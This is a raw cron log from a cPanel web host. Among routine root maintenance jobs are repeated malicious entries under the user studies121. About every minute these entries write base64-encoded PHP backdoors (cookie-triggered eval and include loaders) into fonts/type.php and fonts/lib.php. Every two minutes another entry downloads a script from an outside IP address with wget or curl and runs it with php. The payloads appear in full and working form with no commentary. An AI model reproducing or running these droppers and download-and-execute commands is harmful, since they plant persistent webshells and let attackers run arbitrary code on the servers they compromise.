Sep  2 12:25:01 ip-184-168-122-23 CROND[16043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:26:01 ip-184-168-122-23 CROND[16137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:26:01 ip-184-168-122-23 CROND[16142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:26:01 ip-184-168-122-23 CROND[16140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:26:01 ip-184-168-122-23 CROND[16141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:26:01 ip-184-168-122-23 CROND[16139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:27:01 ip-184-168-122-23 CROND[16243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:27:01 ip-184-168-122-23 CROND[16246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:27:01 ip-184-168-122-23 CROND[16245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:27:01 ip-184-168-122-23 CROND[16247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:28:01 ip-184-168-122-23 CROND[16431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:28:01 ip-184-168-122-23 CROND[16433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:28:01 ip-184-168-122-23 CROND[16434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:28:01 ip-184-168-122-23 CROND[16435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:28:01 ip-184-168-122-23 CROND[16436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:29:01 ip-184-168-122-23 CROND[16523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:29:01 ip-184-168-122-23 CROND[16522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:29:01 ip-184-168-122-23 CROND[16525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:29:01 ip-184-168-122-23 CROND[16524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:30:01 ip-184-168-122-23 CROND[16620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:30:01 ip-184-168-122-23 CROND[16622]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 12:30:01 ip-184-168-122-23 CROND[16625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:30:01 ip-184-168-122-23 CROND[16623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:30:01 ip-184-168-122-23 CROND[16624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:30:01 ip-184-168-122-23 CROND[16628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:30:01 ip-184-168-122-23 CROND[16629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:30:01 ip-184-168-122-23 CROND[16630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:30:01 ip-184-168-122-23 CROND[16631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:31:01 ip-184-168-122-23 CROND[16738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:31:01 ip-184-168-122-23 CROND[16740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:31:01 ip-184-168-122-23 CROND[16741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:31:01 ip-184-168-122-23 CROND[16743]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:31:01 ip-184-168-122-23 CROND[16744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:32:01 ip-184-168-122-23 CROND[16841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:32:01 ip-184-168-122-23 CROND[16842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:32:01 ip-184-168-122-23 CROND[16843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:32:01 ip-184-168-122-23 CROND[16847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:32:01 ip-184-168-122-23 CROND[16846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:33:01 ip-184-168-122-23 CROND[16944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:33:01 ip-184-168-122-23 CROND[16946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:33:01 ip-184-168-122-23 CROND[16947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:33:01 ip-184-168-122-23 CROND[16948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:34:02 ip-184-168-122-23 CROND[17053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:34:02 ip-184-168-122-23 CROND[17054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:34:02 ip-184-168-122-23 CROND[17056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:34:02 ip-184-168-122-23 CROND[17055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:34:02 ip-184-168-122-23 CROND[17057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:35:01 ip-184-168-122-23 CROND[17243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:35:01 ip-184-168-122-23 CROND[17245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:35:01 ip-184-168-122-23 CROND[17246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:35:01 ip-184-168-122-23 CROND[17249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:35:01 ip-184-168-122-23 CROND[17247]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 12:35:01 ip-184-168-122-23 CROND[17248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:35:01 ip-184-168-122-23 CROND[17252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:35:01 ip-184-168-122-23 CROND[17251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:36:01 ip-184-168-122-23 CROND[17351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:36:01 ip-184-168-122-23 CROND[17352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:36:01 ip-184-168-122-23 CROND[17356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:36:01 ip-184-168-122-23 CROND[17357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:36:01 ip-184-168-122-23 CROND[17355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:37:01 ip-184-168-122-23 CROND[17444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:37:01 ip-184-168-122-23 CROND[17446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
